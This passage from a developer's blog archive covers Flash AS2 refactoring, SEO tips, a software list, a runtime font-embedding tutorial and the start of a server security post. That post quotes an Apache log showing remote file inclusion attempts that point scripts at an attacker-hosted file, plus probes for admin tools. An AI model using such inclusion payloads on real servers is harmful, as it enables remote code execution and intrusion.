this. It was bloated with useless code and images that were meant to fit a resolution almost double than 1080p HD....<div><br /></div><div>Now, I am going to go through some points that is worth talking about to avoid websites like this. So if you are starting to create flash (or silverlight!) websites please put attention , this could be useful to you!</div><div><br /></div><div><br /><br />Something that bothered me during my whole refactoring was the size of the Stage, it is 1600 x 1200 or something like that. To fix the basic problem, they created a script that was resizing everything to a normal size. They placed this code in each of their FLAs:<br /><blockquote style="font-family:courier new;"><span style="font-size:85%;"><span style="color: rgb(255, 102, 102);">stop();</span><br /><span style="color: rgb(255, 102, 102);">Stage.align = "LT";</span><br /><span style="color: rgb(255, 102, 102);">Stage.scaleMode = "noScale";</span><br /><span style="color: rgb(255, 102, 102);">#include "mc_tween2.as"</span><br /><span style="color: rgb(255, 102, 102);">var intervalIdResize:Number;</span><br /><span style="color: rgb(255, 102, 102);">var durationResize:Number = 50;</span><br /><span style="color: rgb(255, 102, 102);">home_bg._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">home_bg._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);">if(home_bg._xscale>home_bg._yscale){home_bg._xscale=home_bg._yscale;}else{home_bg._yscale=home_bg._xscale;}</span><br /><span style="color: rgb(255, 102, 102);">home_bg._y=0;</span><br /><span style="color: rgb(255, 102, 102);">home_bg._x=((Stage.width/2)-(home_bg._width/2));</span><br /><span style="color: rgb(255, 102, 102);">main_menu._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">main_menu._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);">if(main_menu._yscale>main_menu._xscale){main_menu._yscale=main_menu._xscale;} else {main_menu._xscale=main_menu._yscale;}</span><br /><span style="color: rgb(255, 102, 102);">main_menu._y=0;</span><br /><span style="color: rgb(255, 102, 102);">main_menu._x=((Stage.width/2)-(main_menu._width/2));</span><br /><span style="color: rgb(255, 102, 102);">if(_global.imagesRolling==1){</span><br /><span style="color: rgb(255, 102, 102);"> image_swap._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);"> image_swap._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">if(image_swap._xscale>image_swap._yscale){image_swap._xscale=image_swap._yscale;}else{image_swap._yscale=image_swap._xscale;}</span><br /><span style="color: rgb(255, 102, 102);"> image_swap._y= 0;</span><br /><span style="color: rgb(255, 102, 102);"> image_swap._x=((Stage.width/2)-(image_swap._width/2));</span><br /><span style="color: rgb(255, 102, 102);">}</span><br /><span style="color: rgb(255, 102, 102);">footer_txt._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">footer_txt._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);">if(footer_txt._xscale>footer_txt._yscale){footer_txt._xscale=footer_txt._yscale;}else{footer_txt._yscale=footer_txt._xscale;}</span><br /><span style="color: rgb(255, 102, 102);">footer_txt._y = 0;</span><br /><span style="color: rgb(255, 102, 102);">footer_txt._x = ((Stage.width/2)-(image_swap._width/2));</span><br /><span style="color: rgb(255, 102, 102);">logo1._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);">logo1._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">if(logo1._yscale>logo1._xscale){logo1._yscale=logo1._xscale;}else{logo1._xscale=logo1._yscale;}</span><br /><span style="color: rgb(255, 102, 102);">logo1._y= 0;</span><br /><span style="color: rgb(255, 102, 102);">logo1._x=((Stage.width/2)-(logo1._width/2));</span><br /><br /><span style="color: rgb(255, 102, 102);">function executeCallback():Void {</span><br /><span style="color: rgb(255, 102, 102);"> resizeThese();</span><br /><span style="color: rgb(255, 102, 102);">}</span><br /><span style="color: rgb(255, 102, 102);">intervalIdResize = setInterval(this, "executeCallback", durationResize);</span><br /><br /><span style="color: rgb(255, 102, 102);">function resizeThese(){</span><br /><span style="color: rgb(255, 102, 102);">home_bg._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">home_bg._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);">if(home_bg._xscale>home_bg._yscale){home_bg._xscale=home_bg._yscale;}else{home_bg._yscale=home_bg._xscale;}</span><br /><span style="color: rgb(255, 102, 102);">home_bg._y= 0;</span><br /><span style="color: rgb(255, 102, 102);">home_bg._x= ((Stage.width/2)-(home_bg._width/2));</span><br /><span style="color: rgb(255, 102, 102);">logo1._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);">logo1._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">if(logo1._yscale>logo1._xscale){logo1._yscale=logo1._xscale;}else{logo1._xscale=logo1._yscale;}</span><br /><span style="color: rgb(255, 102, 102);">logo1._y= 0;</span><br /><span style="color: rgb(255, 102, 102);">logo1._x=((Stage.width/2)-(logo1._width/2));</span><br /><span style="color: rgb(255, 102, 102);">main_menu._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">main_menu._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);">if(main_menu._yscale>main_menu._xscale){main_menu._yscale=main_menu._xscale;} else {main_menu._xscale=main_menu._yscale;}</span><br /><span style="color: rgb(255, 102, 102);">main_menu._y=0;</span><br /><span style="color: rgb(255, 102, 102);">main_menu._x=((Stage.width/2)-(main_menu._width/2));</span><br /><span style="color: rgb(255, 102, 102);">image_swap._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);">image_swap._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">if(image_swap._xscale>image_swap._yscale){image_swap._xscale=image_swap._yscale;}else{image_swap._yscale=image_swap._xscale;}</span><br /><span style="color: rgb(255, 102, 102);">image_swap._y= 0;</span><br /><span style="color: rgb(255, 102, 102);">image_swap._x=((Stage.width/2)-(image_swap._width/2));</span><br /><span style="color: rgb(255, 102, 102);">footer_txt._height=Stage.height;</span><br /><span style="color: rgb(255, 102, 102);">footer_txt._width=Stage.width;</span><br /><span style="color: rgb(255, 102, 102);">if(footer_txt._xscale>footer_txt._yscale){footer_txt._xscale=footer_txt._yscale;}else{footer_txt._yscale=footer_txt._xscale;}</span><br /><span style="color: rgb(255, 102, 102);">footer_txt._y = 0;</span><br /><span style="color: rgb(255, 102, 102);">footer_txt._x = ((Stage.width/2)-(image_swap._width/2));</span><br /><span style="color: rgb(255, 102, 102);">};</span><br /></span></blockquote><br />That code can be resumed into the next:<br /><br /><span style="font-weight: bold; color: rgb(102, 255, 153);">;</span></div><div><span></span><span class="Apple-style-span" style="color:#66FF99;"><b><br /></b></span>That's right... nothing . Flash resizes the stage automatically by default. If you want to align things on the sides there much better ways to do it. Let me tell you some examples.</div><div><br /></div><div>Use a event listener that check when the Stage gets resized reposition your elements. </div><div>If you use a setInterval of 50 for that , you would be executing all the resizing code every 50ms! That will suck your CPU like a leech!</div><div>If you don't know how events and listener and you don't want to learn then create onEnterFrame at least, it would be executed many less times per second!</div><div><br /></div><div><br /><span style="font-size:130%;">Flash prototypes:</span><br /><br />Since AS2 was created prototypes are outdated, so stop using them! Instead of that create a class and extend the original object. Much cleaner.<br /><br /><br /><span style="font-size:130%;">Calling functions from a executing function argument:<br /><br /></span>If you want to call a function from inside another function, don't write a new full function with brackets and everything inside. Instead of that, create an external function that calls the other one after calculating whatever you want to calculate.<br /><span style="color: rgb(255, 102, 102);"><br />Bad:</span><br /><span style="color: rgb(255, 102, 102);font-size:85%;" ><span style="font-family:courier new;">pictureLarge.alphaTo(0, 0.65, "linear", 0.1, function() {</span><br /><span style="font-family:courier new;"> operationLockDown((_global.curBatch*8)+_global.curItem)</span><br /><span style="font-family:courier new;">});</span></span><br /><br /><span style="color: rgb(102, 255, 153);">Better:</span><br /><span style="color: rgb(102, 255, 153);font-family:courier new;" ><span style="font-size:85%;">pictureLarge.alphaTo(0, 0.65, "linear", 0.1, operationLockDown);</span> </span><br /><br />In the example, both variables you are trying to send are globals so you don't need to send any variables!</div><div><br />If they weren't you can always use a CLASS that lets you send parameters. For example in Tweener:<br /><pre><br /><span class="Apple-style-span" style="color:#66FF99;">var N:Number = (_global.curBatch*8)+_global.curItem;<br />Tweener.addTween(myMovieClip, {_x:200, time:1, onComplete:operationLockDown, onCompleteParams:N});</span></pre><br />Please make all calculations outside function's parameters. Instead of that, send something clean like a variable containing the result.<br />Don't use global unless is necesary, it slows down the performance and it is spagetti coding which it's not nice when someone tries to debug it.<br /><br /><br /><span style="font-size:130%;">Don't call buttons to instances of movieclips.</span><br /><br />We, developers, use them as buttons half of the time but buttons are buttons and adding _btn to a MovieClip makes things complicated. The reason we add _btn _mc _txt is to make life easier when debugging.</div><div><br /></div><div>Whyyyy are you so picky about it?</div><div>Because each time of object has different properties and when accessing them from code we know what can we do without having to check what kind of object it is on Stage, it saves us lots of time and headaches.</div><div><br /></div><div>One little example: Trying to play a "whatever_mc" that is a button, won't work: as they have 4 fixed frames and you cant move the frame wherewver you want, we have movieclips for that.<br /></div><div><br /></div><div><br /></div><div>Sorry for the crappy post, I had to let it out. I cant believe I am writing this kind of stuff in 2010....</div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-8153542927675428472009-12-25T22:37:00.006+00:002009-12-25T23:59:00.621+00:00SEO tipsThese days.. after finishing with the flash coding for electrofolio.com I have started with SEO and PHP security. Today Im studing SEO techniques and I think I should write down all the key points related to SEO on HTML content, so there you go:<br /><ul><li>Include keywords in your URL</li><li>Dont use superlong URLs full of query strings and vars. the less the better.<br /></li><li>Use title, keywords and description meta-tags on the header of your html code.</li><li>Keyword tips (google ignores them?):<br /></li><ul><li><span style="font-style: italic;">put the keywords in order of importance.</span></li><li><span style="font-style: italic;">less is better.</span></li><li><span style="font-style: italic;">use lowercase words.</span></li><li><span style="font-style: italic;">use only important words.</span></li><li><span style="font-style: italic;">no need to make similar sentences with same keywords, no comas are needed to separate those words. If you need special combinations use quote signs then.</span></li></ul></ul><ul><li>First thing appearing within the [html] tag should be a text, place the images later in the code.<br /></li><li>Use your primary keywords on the beginning of your text (or at least first paragraph) on your main page.<br /></li><li>Place alt tags with your keywords on the images.</li><li>Write porper links, dont use meaningless links such "<u>here</u>" or "<u>this link</u>".</li><li>In the links that come to your site for a certain key phrase - you need thoses links [alt] tag to be your keywords.<br /></li><li>Make sitemaps.</li><li>Make footers with your contact detail in every page on your site.<br /></li></ul>To improve your chances of getting higher in search engines, I think the best way (talking from my ignorance on SEO) is to get links from other sites. Not bad sites, just normal sites and links from popular sites will do quite well.<br /><br />Create a sitemap linking the most important pages on your website and keep you code clean and tidy(valid your code using <a href="http://validator.w3.org/">w3c validator</a>) to make the search engines an easier life (even a beeing digital and virtual they have a life).<br /><br />When you are done remember to submit your site in the most important search engines:<br /><a href="http://www.google.co.uk/addurl/">google </a>, <a href="http://www.bing.com/docs/submit.aspx">bing </a>and <a href="http://search.yahoo.com/info/submit.html"> yahoo</a>.<br /><br />Here is a <a href="http://bblmedia.com/addurl.html">list</a> with most of the popuplar search engines. And create some accounts from <a href="http://www.twitter.com/">twitter</a> and other social networks such <a href="http://www.facebook.com/">facebook </a>or <a href="http://www.linkedin.com/">linkedin </a>to get lots of traffic toyour site.<br /><br />I think that might be all. Am I missing something?Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-14166219537446128042009-11-22T13:51:00.022+00:002010-01-05T09:56:54.843+00:00Recomended software 2009Hi everyone,<br /><br />This is all the software I can recommend to you to install on your computer (Windows) but I'm sure you can find some of this for Mac.<br /><br />Some of the software is paid software but most of it is free.. If it has a dollar symbol, means that you have to pay for it. From cheap to expensive: <span style="color: rgb(51, 255, 51); font-weight: bold;">($) </span><span style="color: rgb(51, 255, 51); font-weight: bold;"><span style="color: rgb(255, 255, 51);">($)</span></span><span style="color: rgb(255, 0, 0); font-weight: bold;"> ($)</span> .<br /><br /><span style="font-style: italic;">If you think I don't mention other software that you really like please let us know. The aim is to use the best software out there and let everyone know how to have a nicer IT experience.</span><br /><br /><br /><span style="font-size:180%;"><span style="font-weight: bold;">Software that require to be installed after Installing the OS: </span></span><br /><br /><br /><span style="font-weight: bold;font-size:100%;" >7Zip</span><br />It is a files compressor. With this I dont need WinRar or WinZip.<br /><br /><br /><br /><span style="font-weight: bold;">Thunderbird</span><br />Email software.<br /><br /><span style="font-style: italic;">Add ons:</span><br /><ol style="font-style: italic;"><li>Smartsave</li></ol><br /><br /><span style="font-weight: bold;">Firefox</span><br />Much better than IE. Not as fast as <span style="font-weight: bold;">google Chrome </span>.<br /><br />I keep it because I use all of these <span style="font-style: italic;">add ons:</span><br /><ol style="font-style: italic;"><li>adBlock plus 1.1.1</li><li>FireBug</li><li><a href="http://www.sephiroth.it/firefox/flash_switcher/">Flash Switcher</a> (<a href="http://www.blog.lessrain.com/flash-switcher-extension-and-vista/">fix for Win7 and Vista</a>) <span style="font-size:78%;">[for win7-64bits: C:\Windows\SysWOW64\Macromed\Flash]</span><br /></li><li><a href="http://www.sephiroth.it/firefox/flashtracer/">Flash Tracer</a><span style="font-size:85%;"><span style="font-weight: bold;"> </span>(or you can use <a href="http://code.google.com/p/flash-tracer/"><span style="font-weight: bold;">Vizzy flash player</span></a> as stand alone application)</span> </li><li>Live HTTP Headers</li><li>Modify Headers</li><li>Stumble Upon</li><li>Password exporter</li></ol><br /><span style="font-weight: bold;">Foxit Reader</span><br />Read PDFs without having to install Adobe's PDF Reader.<br /><br /><br /><span style="font-weight: bold;">Twhirl</span><br />Twitter client.<br /><br /><br />Fookes<span style="font-weight: bold;"> Mailbag Assistant</span> <span style="color: rgb(51, 255, 51);"></span><span style="color: rgb(51, 255, 51); font-weight: bold;">($)</span><br />Back up and archive emails. It is very nice as it packs all your emails into one big file.<br />It has search functions. It is very efficient.<br /><br /><br /><span style="font-weight: bold;">AVG</span><br />Antivirus.<br /><br /><br /><span style="font-weight: bold;">OpenOffice 3</span><br />Office suite, it works quite well and it is free.<br /><br /><br /><span style="font-weight: bold;">Skype</span><br />bla bla bla. over the net.<br /><br /><br /><span style="font-weight: bold;">Corel x4</span><span style="color: rgb(51, 255, 51);"> </span><span style="color: rgb(255, 255, 51); font-weight: bold;">($)</span><br />I got used to it, I recommend it as it is cheap and i don't need the power of photo shop.<br /><br /><br /><br /><span style="font-weight: bold;">Net Limiter</span> <span style="color: rgb(51, 255, 51); font-weight: bold;">($)</span><br />Limits your network upload/downloads.<br />You can force some software to connect at the max speeds you want. Is good for testing.<br /><br /><br /><span style="font-weight: bold;">PhotoMatix</span> <span style="color: rgb(255, 255, 0); font-weight: bold;">($)</span><br />Is good for composing HDR images<br /><br /><br /><span style="font-weight: bold;">Notepad++<br /></span>Until Flash Develop (next on the list) I used it all the time to work with plain text files<br />Now I only use it to tidy XML files.<br /><span style="color: rgb(255, 0, 0);">It is not fully compatible with Windows7</span>. <span style="color: rgb(255, 0, 0);">It has troubles saving lang.xml and sometimes config.xml.</span><br /><span style="font-size:130%;"><br /><span style="font-size:180%;"><span style="font-weight: bold;"></span></span></span><span style="font-size:180%;"><span style="font-weight: bold;">Software that doesn't require to be installed:</span></span><br />that means you wont have to install the crap files that comes with it. Just try to execute the software after installing Windows in a clean format. If you have a Mac I can't help you, you choosed to pay more, your problem :)<br /><br /><span style="font-weight: bold;">Winamp</span><br />Best player, I have used it since Version 2 and I love that I can control the software with key combinations when it is NOT in focus. That means that I can pause music any instant I need it without having to stop what you are doing. For example:You can stop it when someone needs you for a second with just a key stroke combination. Or you can skip a song that you don't really like or whatever you can do normally with the player in focus.:)<br /><br />It has this add-on called <span style="font-style: italic; font-weight: bold;">enhancer</span>, it improves the quality of the sound a lot.<br /><br />Those two features makes Winamp the best player for me.<br /><br /><br /><span style="font-weight: bold;">Trillian 4</span><br />IM client that can combine lots of different services into just one "log in" and one piece of software.<br /><br /><br /><span style="font-weight: bold;">CuteFTP</span> <span style="color: rgb(51, 255, 51); font-weight: bold;">($)</span><br />TIP: If you move the<span style="font-weight: bold;"> sm.dat</span> into my documents, then you wont lose your FTP details ever again.<br /><br /><br /><span style="font-weight: bold;">VLC</span><br />Very light but powerful video player.<br /><br /><br /><span style="font-weight: bold;">Flash Develop</span><br />You need to install it once as portable or (single user mode). After that doesnt need to be installed ever again.<br />Software suited for programming Flash Action Script and PHP, SQL, XML and HTML?.<br /><span style="color: rgb(51, 204, 0);">It has code snippets which makes it much better than Flash Builder .</span><br /><span style="color: rgb(255, 0, 0);">It doesnt have a Flash debugger!</span><br /><br /><br /><span style="font-weight: bold;"> Flash CS3 portable</span> <span style="color: rgb(255, 0, 0);"></span><span style="color: rgb(255, 0, 0); font-weight: bold;"></span><br />It is not sold by Adobe, in fact I think is free but If u paid for your original copy of CS3 <span style="color: rgb(255, 0, 0); font-weight: bold;">($) </span> it should be fine (and moral) working with this.<br /><span style="color: rgb(255, 0, 0);">It doesn't come with help panels.</span><br /><br /><br /><span style="font-weight: bold;">Keepass</span><br />Keep your passwords super safe with this tool.<br /><br /><br /><span style="font-weight: bold;">Super</span> (eRightSoft)<br />Convert any video file format to any other format in a very easy way.<br /><br /><br /><span style="font-weight: bold;">VirtualDub</span><br />Simple but powerful video editor.<br /><br /><br /><span style="font-weight: bold;">WinDirStat</span><br />Is good to have a look where you have some files in your HD. IS perfect to find and delete junk on your Hard Drives!<br /><br /><br /><span style="font-weight: bold;">Anki </span><br />Helps you to remember things. Specially done to learn languages in a not dedicated way. Is really good.<br /><br /><br /><span style="font-weight: bold;">CCleaner </span><br />Is good to clean your registry files and temporary files.<br /><br /><br /><span style="font-weight: bold;">RegCleaner</span><br />Old software that used to work very well.<br /><br /><br /><span style="font-weight: bold;">CDex</span><br />Good CD -> MP3 back up software<br /><br /><br /><span style="font-weight: bold;">DVDShrink<br /></span>Good DVD->9 to DVD-4 movies back up software<br /><br /><br /><span style="font-weight: bold;">iCPU Shutdown</span><br />Switch off your computer whenever a condition is true. Timer, Network traffic, etc.<br />Beware some anti viruses detect it as virus.... is not!<br /><br /><br /><span style="font-weight: bold;">CPU-Z </span><br />Identifies what CPU are you using. Is good it tells you speeds and other important stuff related to your hardware.<br /><br /><br /><br /><span style="font-size:130%;"><span style="font-weight: bold;">The next software is for <span style="font-size:130%;">XP</span>! <span style="color: rgb(255, 102, 0);">I Don't recommend them for windows 7.</span></span></span><br /><br /><span style="font-weight: bold;">4T Tray Minimizer</span> <span style="color: rgb(51, 255, 51);"></span><span style="color: rgb(51, 255, 51); font-weight: bold;">($)</span><br /><span style="font-weight: bold;">RocketDock</span> (OSX dock in windows) + DesktopCoral<br /><span style="font-weight: bold;">Startup Delayer</span><br /><span style="font-weight: bold;">TaskAssign</span> (good for XP and multicore PCs as lets you optimize the afinitiy of each software you are running in a permanent way)Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-87332849883534037862009-09-04T18:58:00.017+01:002009-09-11T22:00:25.913+01:00Embedding dynamic fonts on Flash AS2.(Better explanation)Today after a couple of years on and off (more off than on) researching about embeding fonts on flash. I found a real solution today. The solution was explained on a comment in another <a href="http://oddhammer.com/index.php/site/comments/shared_fonts_for_flash/">blog </a>like nothing important, but I can tell you it was really good for me to see this after tlooking for a solution this long.<br /><br />It was a bit confusing for me so I carried on researching for shared libraries... Hmm I can't change the library dynamically. But can load flash files that has static libraries... I got me thinking.... I started realizing what was it...<br /><br />I came with a solution which probably is what Matt said in that forum but at that moment I had not idea how to use libraries... so for the unexperienced I will explain it properly.<br /><br /><br />Anyway, this is how it works:<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP1H4iVT3IC1dfdGBaD1xbYY_C5T6-WZXEzmIZv_jcUj28oCxWUxuKcEg1M7-aogCfBcjj10-4fgNnLAIzhNoNcbiXaru_sQAR7pZinPIrfG6rgqr_gP1kXF5i8dWyOgg4U0K1CsOQMXI/s1600-h/esquema.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP1H4iVT3IC1dfdGBaD1xbYY_C5T6-WZXEzmIZv_jcUj28oCxWUxuKcEg1M7-aogCfBcjj10-4fgNnLAIzhNoNcbiXaru_sQAR7pZinPIrfG6rgqr_gP1kXF5i8dWyOgg4U0K1CsOQMXI/s320/esquema.jpg" alt="" id="BLOGGER_PHOTO_ID_5187231596476488258" border="0" /></a><br /><span style="font-weight: bold;">Step 1: </span>The preloader loads the font1.swf that has as library the font1Embed.swf. That means it has the font embedded and it can be used now.<br /><br /><span style="font-weight: bold;">Step 2:</span> All the library components can be used on preloader.swf<br /><br /><span style="font-weight: bold;">Step 3:</span> We load main.swf which can use "preloader.swf" 's library.<br /><br />It is easy once you understand it.... The great thing is you can load any library dynamically.<br /><br />I will explain how to get dynamic fonts right now, step by step:<br /><br /><span style="font-weight: bold;font-size:130%;" >Ingredients:</span><br /><br /><ul><li>a SWF file for the preloader,</li><li>2 SWFs per font</li><li>any SWF that uses the font.</li></ul><br /><span style="font-weight: bold;font-size:130%;" >Cooking Time:</span><br /><ul><li>10 to 15 mintues.</li><li>and then 3 minutes per font.</li></ul><br /><span style="font-weight: bold;"><span style="font-size:130%;">Preparation</span>:<br /><br /></span><span style="font-style: italic;">We are gonna use Arial font for this example, so wherever I say Arial , use any font you want</span><span style="font-weight: bold;"><br /></span><br /><br /><span style="font-weight: bold;"><span style="font-size:130%;">Character sauce:<br /><br /></span></span>Create an empty flash file on AS2.0.<br />Create a text box with the flash GUI.<br />Select <span style="font-style: italic;">Arial </span>font and embed the characters you want.<span style="font-style: italic;"> I normally add a text that contains at least one character bold, italic, bold+italic and normal.</span><br />Convert that text box into a movie Clip, or better said: put the text inside a movieclip.<br /><br /><span style="font-style: italic;">Normally when I cook texts I assign names to the instances on the stage as "label_txt" for the text and "text_mc" for the movieclip. You can tell what kind of object is everything with just checking "_mc" or "_txt". In this example it doesnt matter as we are not going to use instances, only library objects.<br /><br /></span>When you have the convert to movieclip dialog window on screen, click on Export for runtime sharing.<br /><br />Click on the URL box and write the name that is going to be this SWF file will have when exported.<br /><br />We are preparing the Arial font so to make things clear name it "Arial_chars.swf".<br /><span style="font-style: italic;"><br /></span>Leave it published with that same name on the same folder as the preloader for several minutes.<br /><br /><br /><span style="font-weight: bold;"><span style="font-size:130%;">Font container:</span><br /><br /></span>Create another empty flash file on AS2.0.<br /><br />And on library click in new Symbol> Movieclip and then click on "Import for runtime sharing" it will ask you for an URL and identifier. Place the same name of the SWF file you just exported in Step1.<br /><br />Then drag this new symbol into the Stage, anywhere.<br /><br />Export the Flash file to the same folder of before. Use a name that will help you matching this file and the other exported file:<span style="font-style: italic;"> "Arial.swf".<br /><br />We should have now two files on the folder:"Arial</span><span style="font-style: italic;">.swf" and </span><span style="font-style: italic;">"Arial_chars.swf".<br /><br /><br /><span style="color: rgb(255, 102, 102);">(optional)</span><br /></span><span style="color: rgb(255, 102, 102);font-size:100%;" ><span style="font-size:100%;"><span style="font-size:130%;"><span style="font-weight: bold;">Placing all fonts in a special folder:<br /><br /></span></span>Placing the font files in a "fonts" folder requires you to edit all URLs from the properties dialog window relative to the preloader. That means that if you place all fonts in a folder called "fonts", and that folder is a inside the folder that contains the preloader, URLS on the properties/linkage dialog box must be: "fonts/Arial_Chars.swf" in the both characters files</span></span><span style="color: rgb(255, 102, 102);">.</span><br /><span style="font-style: italic; color: rgb(51, 51, 51);"><br /></span><br /><span style="font-weight: bold;"><span style="font-size:130%;">Preloader:</span><br /><br /></span>We need to load all of these fonts before the real flash movie begins. So we are going to create a preloader, load the fonts first and load the main movie afterwards.<br /><br />I generated a FLA with some code for it. It is a simple loader. I place the code as I have told you I will explain everything!<br /><br /><br />on Frame 1:<br /><blockquote><span style=";font-family:arial;font-size:100%;" >this.createEmptyMovieClip ("dummy",0);<br />this.dummy._visible = false;<br /><br />_global._font = "Arial"; // or any font that you want to embed...<br /><br />this.dummy.loadMovie (_global._font+".swf");//first preload the shared library<br />this.onEnterFrame = this.preload1;<br /><br />function preload1 () {<br /><br />if (this.dummy.getBytesLoaded () > 10) {<br />if (dummy.getBytesLoaded () == dummy.getBytesTotal ()) {<br />this.dummy.loadMovie ("main.swf");//also preload the main movie<br />this.onEnterFrame = null;<br />} else {<br />// add some progress display here<br />}<br />}<br />}</span><br /></blockquote><br />Then on the main flash file you need to create all of this code in order to test it:<br /><br /><span style="font-size:85%;"><blockquote><span style=";font-family:arial;font-size:100%;" >my_fmt.font = _global._font ;</span><span style="font-size:100%;"><br /></span><span style=";font-family:arial;font-size:100%;" >my_fmt.size = 40;</span><span style="font-size:100%;"><br /><br /></span><span style=";font-family:arial;font-size:100%;" >this.createTextField("my_txt", this.getNextHighestDepth(), 40, 40, 400, 30160);</span><span style="font-size:100%;"><br /></span><span style=";font-family:arial;font-size:100%;" >my_txt.wordWrap = true;</span><span style="font-size:100%;"><br /></span><span style=";font-family:arial;font-size:100%;" >my_txt.embedFonts = true;</span><span style="font-size:100%;"><br /></span><span style=";font-family:arial;font-size:100%;" >my_txt.text = "Hello Mundo!";</span><span style="font-size:100%;"><br /></span><span style=";font-family:arial;font-size:100%;" >my_txt.setTextFormat(my_fmt);</span><span style="font-size:100%;"><br /></span><span style=";font-family:arial;font-size:100%;" >my_txt._rotation = 15;</span><br /><br /></blockquote></span><span style="font-size:100%;"><br />Now you have to publish this test file as "mainMovie.swf" and the preloader as anyname.. "preloader.swf"?... all files need to be on the same folder.<br /><br />Now if you publish all files with the correct names and folder , whenever you start the preloader it whould work.<br /><br /></span><span style="font-weight: bold;font-size:100%;" >Add glass sugar, and a smile,</span><span style="font-size:100%;"><span style="font-size:100%;"> there you have what you have been looking for for ages!.<br /><br /><span style="color: rgb(255, 102, 102);font-size:130%;" ><br /></span><span style="font-weight: bold; color: rgb(255, 102, 102);font-family:georgia;font-size:130%;" >IMPORTANT NOTE:</span><span style="color: rgb(255, 102, 102);font-family:georgia;font-size:130%;" > I have discovered that if you have at least one character embedded on your main flash movie this method wont work as it wont be using the external character set but the internal one. and this happens in ActionScript 2 and 3.</span><br /></span></span><br /><span style="font-size:100%;"><span style="font-size:100%;"><br />Thanks to Matt for the clever post in </span></span><span style="font-size:100%;"><span style="font-size:100%;"> <a href="http://oddhammer.com/index.php/site/comments/shared_fonts_for_flash/">Odd hammer</a></span></span>.<br /><span style="font-size:100%;"><span style="font-size:100%;">Preloader and more information: Mario at <a href="http://www.quasimondo.com/archives/000227.php">Quasimondo.com</a><br /><br />Thanks to you both.</span><br /></span>Unknownnoreply@blogger.com10tag:blogger.com,1999:blog-3430534936820467452.post-90588379597193805312008-11-29T17:07:00.008+00:002008-12-07T12:57:09.182+00:00File System Security - Part IHello,<br /><br />Today I am going to talk about file system security on a webserver Because I got a few attemps to hack my local <a href="http://www.apachefriends.org/en/xampp.html">XAMPP server</a>.<br /><br />I went to the apache log and I saw something quite interesting:<br />Access.log:<br /><span style="color: rgb(255, 204, 204);font-size:78%;" ><span style="font-family:arial;"></span></span><blockquote><span style="color: rgb(255, 204, 204);font-size:78%;" ><span style="font-family:arial;">200.69.177.20 - - [27/Nov/2008:16:19:53 +0000] "GET <span style="font-weight: bold;">//user/templates/footer.tpl</span> HTTP/1.1" 404 1122</span><br /><span style="font-family:arial;">222.208.183.218 - - [28/Nov/2008:09:51:56 +0000] "GET http://www.nassc.com/pr.php HTTP/1.1" 404 1122</span><br /><span style="font-family:arial;">212.32.55.77 - - [28/Nov/2008:18:04:03 +0000] "GET<span style="font-weight: bold;"> /errors.php?error=http://87.230.27.224/phpsqliteadmin/js_.txt</span>? HTTP/1.1" 404 1122</span><br /><span style="font-family:arial;">212.32.55.77 - - [28/Nov/2008:18:04:03 +0000] "GET <span style="font-weight: bold;">/admin/business_inc/saveserver.php?thisdir=http://87.230.27.224/phpsqliteadmin/js_.txt</span>? HTTP/1.1" 404 1122</span><br /><span style="font-family:arial;">212.32.55.77 - - [28/Nov/2008:18:20:14 +0000] "GET <span style="font-weight: bold;">/upload.php</span><span style="font-style: italic;"> </span>HTTP/1.1" 404 1122</span><br /><span style="font-family:arial;">216.55.83.12 - - [29/Nov/2008:08:15:55 +0000] "GET <span style="font-weight: bold;">/phpmyadmin/main.php</span> HTTP/1.0" 200 3071</span><br /><span style="font-family:arial;">222.208.183.218 - - [29/Nov/2008:11:16:36 +0000] "GET http://www.wantsfly.com/prx1.php?hash=047CB197FF160516516CE156005088B4C955CE39C55F HTTP/1.0" 404 1125</span><br /><span style="font-family:arial;">212.32.55.77 - - [29/Nov/2008:13:48:59 +0000] "GET <span style="font-weight: bold;">/sqlitemanager/main.php</span> HTTP/1.1" 404 1122</span><br /><span style="font-family:arial;">212.32.55.77 - - [29/Nov/2008:13:48:59 +0000] "GET <span style="font-weight: bold;">/SQLiteManager/main.php</span> HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:31 +0000] "GET //README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:32 +0000] "GET /horde//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:32 +0000] "GET /horde2//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:33 +0000] "GET /horde3//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:33 +0000] "GET /horde-3.0.5//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:37 +0000] "GET /horde-3.0.6//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:37 +0000] "GET /horde-3.0.7//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:38 +0000] "GET /horde-3.0.8//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:38 +0000] "GET /horde-3.0.9//README 